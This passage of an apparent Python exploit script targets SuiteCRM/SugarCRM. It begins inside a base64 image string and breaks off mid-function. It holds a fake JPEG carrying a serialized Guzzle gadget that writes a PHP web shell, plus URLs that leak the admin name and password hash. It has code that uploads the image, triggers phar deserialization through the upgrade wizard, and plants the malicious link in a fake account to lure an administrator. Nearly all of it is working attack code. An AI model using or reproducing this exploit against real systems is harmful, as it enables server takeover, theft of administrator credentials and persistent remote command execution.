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
"""[1:-1]
ExploitName = 'SugarEXP.jpg'
SERIAL_PAYLOAD = b'YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6Mjc6Ii92YXIvd3d3L2h0bWwvcmFuZG9tX3dzLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO3M6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7TzoyNzoiR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llIjoxOntzOjMzOiIAR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llAGRhdGEiO2E6Mzp7czo3OiJFeHBpcmVzIjtpOjE7czo3OiJEaXNjYXJkIjtiOjA7czo1OiJWYWx1ZSI7czoxODoiPD89IGAkX0dFVFswXWA7Pz4KIjt9fX1zOjM5OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAHN0cmljdE1vZGUiO047fWk6NztpOjc7fQo='
### Fake account for poisonning
NameAccount = "DENSON Robbert"
EmailAccount = "[email protected]"
### URL For exploit
URLs = {
'login' : '',
'Logout' : '?module=Users&action=Logout',
'LeakAdminPass' : '?action=getEditFieldHTML&module=Home&field=user_hash&id=1¤t_module=Users',
'LeakAdminName' : '?action=getEditFieldHTML&module=Home&field=user_name&id=1¤t_module=Users',
'isAdmin' : '?module=Administration',
'ListAOSProducts' : '?module=AOS_Products&action=ListView',
'Unserialize' : '?module=Administration&action=UpgradeWizard&view=module&run=upload&load_module_from_dir=phAr://upload&upgrade_zip_escaped=',
'DashletAdd' : '?module=Home&action=DynamicAction&DynamicAction=addDashlet&activeTab=0&id=RSSDashlet&to_pdf=1',
'DashletView' : '?action=DynamicAction&DynamicAction=displayDashlet&session_commit=1&id=',
'DashletDel' : '?action=DynamicAction&DynamicAction=deleteDashlet&session_commit=1&id=',
'Index' : '?module=Home&action=index',
'CampaignView' : '?module=Campaigns&action=index&parentTab=All',
'PolluteDb' : '?entryPoint=WebToPersonCapture&moduleDir=SavedSearch&assigned_user_id=1'
}
REGEXs = {
'LoginUser' : r'<span class="globallabel-user">(.*?)</span>',
'AdminVal' : r"value='(.*?)' title=''.*DOCTYPE",
'ImgLoc' : rf'<img src="(.*?{ExploitName})"/><',
'UserId' : r'<a href=\'index.php\?module=Users&action=EditView&record=(.*?)\'>',
'CampaignId' : r''
}
### Color
N = "\x1b[0m"
R = "\x1b[91m"
G = "\x1b[92m"
Y = "\x1b[93m"
B = "\x1b[94m"
### Simple print
msg = lambda x="",y="\n": print(f"{G}[+]{N} {x}", end=y)
log = lambda x="",y="\n": print(f"{Y}[!]{N} {x}", end=y)
err = lambda x="",y="\n": print(f"{R}[x]{N} {x}", end=y)
def head():
print("""
/$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$ /$$
/$$__ $$ |__/ | $$ /$$__ $$| $$__ $$| $$$ /$$$
| $$ \\__/ /$$ /$$ /$$ /$$$$$$ /$$$$$$ | $$ \\__/| $$ \\ $$| $$$$ /$$$$
| $$$$$$ | $$ | $$| $$|_ $$_/ /$$__ $$| $$ | $$$$$$$/| $$ $$/$$ $$
\\____ $$| $$ | $$| $$ | $$ | $$$$$$$$| $$ | $$__ $$| $$ $$$| $$
/$$ \\ $$| $$ | $$| $$ | $$ /$$| $$_____/| $$ $$| $$ \\ $$| $$\\ $ | $$
| $$$$$$/| $$$$$$/| $$ | $$$$/| $$$$$$$| $$$$$$/| $$ | $$| $$ \\/ | $$
\\______/ \\______/ |__/ \\___/ \\_______/ \\______/ |__/ |__/|__/ |__/
""")
print(" "*43 + f"(Tested on version 7.12.7 / 8.2.0)")
print(" "*70 + f"@jrjgjk")
print()
def parse_url_input(url):
log(f'If you want to attack the version 8.2.0 or < 8.2.0 the url should probably looks like {R}http://suite.crm.site/legacy/index.php{N}')
if(url[0:4] != 'http'):
err(f'Missing http in url: {url}')
exit(0)
if('index.php' not in url):
url += '/index.php'
return url
def login(url, user, password, s):
login_data = {
"module":"Users",
"action":"Authenticate",
"return_module":"Users",
"return_action":"Login",
"cant_login":"",
"login_module":"",
"login_action":"",
"login_record":"",
"login_token":"",
"login_oauth_token":"",
"login_mobile":"",
"user_name":user,
"username_password":password,
"Login":"Log+In"
}
res = s.post(URL, data=login_data, verify=False)
matches = re.findall(REGEXs['LoginUser'], res.text)
if ((matches != [] and matches[0].lower() == user) or ('SUITECRM DASHBOARD' in res.text)): # 'SUITECRM DASHBOARD' is here for compatibility with latest version
msg(f"User: {B}{user}{N} logged in !")
return True
else:
err(f"Log in Failed !!")
return False
def isadmin(url, s):
if("Unauthorized access" in s.get(url + URLs['isAdmin'], verify=False).text):
return False
else:
return True
def recover(url, s):
res_login = s.get(url + URLs['LeakAdminName'], verify=False)
res_pass = s.get(url + URLs['LeakAdminPass'], verify=False)
username = re.findall(REGEXs['AdminVal'], res_login.text)
password = re.findall(REGEXs['AdminVal'], res_pass.text)
return username[0], password[0].replace('\\','')
def recover_img(img_payload):
raw_img = base64.b64decode(img_payload)
emplacement = input(f"Enter full path to write the {R}payload{N} (Ex: {Y}/var/www/html/ws.php{N}, default: '/proc/self/cwd/random_ws.php')>>> ")
if(emplacement == ''):
emplacement = '/proc/self/cwd/random_ws.php'
filename = emplacement.split('/')[-1]
emplacement_serialized = f's:{len(emplacement)}:"{emplacement}"'.encode()
log(f"Creating fake image, payload: {Y}{emplacement}{N}")
raw_img = raw_img.replace(b's:27:"/var/www/html/random_ws.php"', emplacement_serialized)
return raw_img, filename
def do_upload(url, s, img):
upload_data = {
"module" : "AOS_Products",
"record" : "",
"action" : "Save",
"return_module" : "AOS_Products",
"return_action" : "DetailView",
"offset" : "1",
"name" : "ExploitSugarCRM",
"type" : "Good",
"currency_id" : "-99",
"price" : "-5",
"deleteAttachment" : "0"
}
res = s.post(url, headers=referer, files={"uploadimage":(ExploitName, img)}, data=upload_data, allow_redirects=True, verify=False)
img_loc = re.findall(REGEXs['ImgLoc'], res.text)
if(len(img_loc) > 0):
msg(f'Upload succeed')
msg(f'Img location: {img_loc[0]}')
return img_loc[0]
err(f'Upload failed, maybe referer has not been set or the target is not at the good version..')
return False
def upload_payload(url, img, s):
shall_upload = input(f"Do you want to upload a fake image and try deserialisation ?(y/n) ")
if(shall_upload.upper() == 'Y'):
my_img, filename = recover_img(img)
log(f"Staring upload..")
res_upload = do_upload(URL, s, my_img)
if(res_upload == False):
return False, False
malicious_link = url + URLs['Unserialize'] + res_upload.split('/')[-1]
return malicious_link, filename
return False, False
def login_time(url, user, password):
login_data = {
"module":"Users",
"action":"Authenticate",
"return_module":"Users",
"return_action":"Login",
"cant_login":"",
"login_module":"",
"login_action":"",
"login_record":"",
"login_token":"",
"login_oauth_token":"",
"login_mobile":"",
"user_name":user,
"username_password":password,
"Login":"Log+In"
}
s = requests.Session()
s.get(url)
moy = 0
for i in range(4):
a = time.time()
res = s.post(URL, data=login_data, verify=False)
b = time.time()
moy += b-a
moy = moy / 4
return moy
def poison_admin_user(url, s, malicious_link):
poison_data = {
"module": "Accounts",
"record": "",
"isDuplicate": "false",
"action": "Save",
"return_module": "Accounts",
"return_action": "index",
"return_id": "",
"module_tab": "",
"contact_role": "",
"relate_to": "Accounts",
"relate_id": "",
"offset": "1",
"name": NameAccount,
"phone_office": "",
"website": malicious_link,
"phone_fax": "",
"Accounts_email_widget_id": "0",
"emailAddressWidget": "1",
"Accounts0emailAddress0": EmailAccount,
"Accounts0emailAddressId0": "",
"Accounts0emailAddressVerifiedFlag": "true",
"Accounts0emailAddressVerifiedEmailValue": "true",
"Accounts0emailAddressPrimaryFlag": "Accounts0emailAddress0",
"useEmailWidget": "true",
"billing_address_street": "",
"billing_address_city": "",
"billing_address_state": "",
"billing_address_postalcode": "",
"billing_address_country": "",
"shipping_address_street": "",
"shipping_address_city": "",
"shipping_address_state": "",
"shipping_address_postalcode": "",
"shipping_address_country": "",
"description": "",
"assigned_user_name": "",
"assigned_user_id": "1",
"account_type": "",
